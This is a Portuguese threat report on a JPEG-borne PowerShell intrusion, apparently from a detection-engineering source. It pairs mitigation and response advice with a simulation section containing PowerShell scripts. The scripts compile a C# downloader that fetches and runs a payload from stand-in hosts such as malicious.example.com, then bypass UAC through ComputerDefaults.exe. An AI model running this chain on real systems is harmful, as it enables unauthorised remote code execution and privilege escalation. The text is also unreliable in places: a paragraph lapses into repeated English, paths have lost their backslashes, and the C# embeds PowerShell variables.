OPERAÇÃO CANVASILENCIOSO : INTRUSÃO MULTIETAPA BASEADA EM POWERSHELL USANDO JPEG

Resumo

A Operação SilentCanvas é uma intrusão sofisticada em múltiplos estágios que esconde uma carga maliciosa em PowerShell dentro de um arquivo JPEG chamado sysupdate.jpeg. Essa carga recupera e compila um inicializador personalizado, que é construído através do csc.exe, abusando do ComputerDefaults.exe para realizar uma elevação de privilégio UAC sem arquivo, e instala um serviço trojanizado ConnectWise ScreenConnect chamado OneDriveServers para manter o acesso remoto persistente. O malware se comunica através de canais criptografados roteados para legitserver.theworkpc.com através das portas 5443 and 8041. A campanha também mostra um forte foco na evasão de defesa, coleta de credenciais e vigilância encoberta.

Investigação

O relatório abrange tanto a análise estática quanto a dinâmica do carregador baseado em JPEG, o binário compilado dinamicamente uds.exe e os componentes modificados do ScreenConnect. Pesquisadores identificaram várias técnicas ofensivas, incluindo a evasão do AMSI, abuso binário de living-off-the-land, sequestro de registro e derivação de chave personalizada para comunicação criptografada. A análise da infraestrutura revelou um mapeamento embutido entre legitserver.theworkpc.com e o endereço IP 45.138.16.64. A investigação também expôs o perfil detalhado das vítimas, manipulação de contas locais, e funcionalidades associadas ao acesso oculto à área de trabalho.

Mitigação

Os defensores devem aplicar uma lista de permissões estrita para ferramentas legítimas de monitoramento e gerenciamento remoto e restringir ou monitorar de perto a execução de csc.exe, cvtres.exe, e ComputerDefaults.exe. O monitoramento também deve focar em mudanças suspeitas no registro ms-settings , comportamento de evasão do AMSI no PowerShell, sinalizadores de criação de processos ocultos e a criação não autorizada de serviços que envolvem o nome OneDriveServers. Quaisquer contas que possam ter sido expostas devem ser redefinidas, e sistemas afetados devem ser isolados rapidamente para evitar mais abusos.

Resposta

Se indicadores relacionados forem detectados, o ponto de extremidade deve ser imediatamente colocado em quarentena, o processo malicioso e a atividade associada ao PowerShell devem ser terminados, e o serviço uds.exe deve ser removido do host. Investigadores devem coletar artefatos de registro, binários de serviço e telemetria de rede ligados à infraestrutura de comando e controle para uma análise forense mais profunda. Todas as credenciais privilegiadas devem ser rotacionadas, e os defensores devem monitorar padrões de movimentação lateral associados às técnicas documentadas na campanha. OneDriveServers service should be removed from the host. Investigators should collect registry artifacts, service binaries, and network telemetry tied to the command-and-control infrastructure for deeper forensic review. All privileged credentials should be rotated, and defenders should monitor for lateral movement patterns associated with the techniques documented in the campaign.

Execução de Simulação

Pré-requisito: O Check de Pré-Voo de Telemetria & Linha Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente as TTPs identificadas e visam gerar precisamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa do Ataque & Comandos:

  1. Primeiro acesso: O atacante ganha uma sessão de PowerShell de baixo privilégio no ponto de extremidade.
  2. Compilação ao vivo: Usando o csc.exejá disponível, o atacante compila um downloader em C# que busca um payload de segunda fase de um servidor C2. A compilação é lançada a partir do processo do PowerShell para satisfazer a condição de pai-filho.
  3. Elevação de privilégios sem arquivo: O atacante executa o arquivo executável recém-criado através do ComputerDefaults.exe, que solicita elevação de forma silenciosa sem mostrar um prompt UAC.
  4. Execução pós-elevação: O payload elevado estabelece uma shell reversa de volta para o adversário.

  # Etapa 1 – Preparar código-fonte C# malicioso (na memória)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Etapa 2 – Compilar via csc.exe (pai = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Etapa 3 – Acionar elevação de privilégios via ComputerDefaults.exe (ainda filho do PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Script de Teste de Regressão: (script PowerShell auto-contido que reproduz as etapas acima)

  # -----------------------------------------------------------------
  # Arquivo: trigger_csc_uac_bypass.ps1
  # Propósito: Simular a cadeia de ataque csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Criar código-fonte C# malicioso no diretório TEMP
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Compilar com csc.exe (este processo do PowerShell se torna o pai)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Executar via ComputerDefaults.exe para realizar uma elevação de privilégios UAC silenciosa
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Comandos de Limpeza:

  # Remover artefatos gerados
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Opcionalmente, termine quaisquer processos remanescentes iniciados pelo teste
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force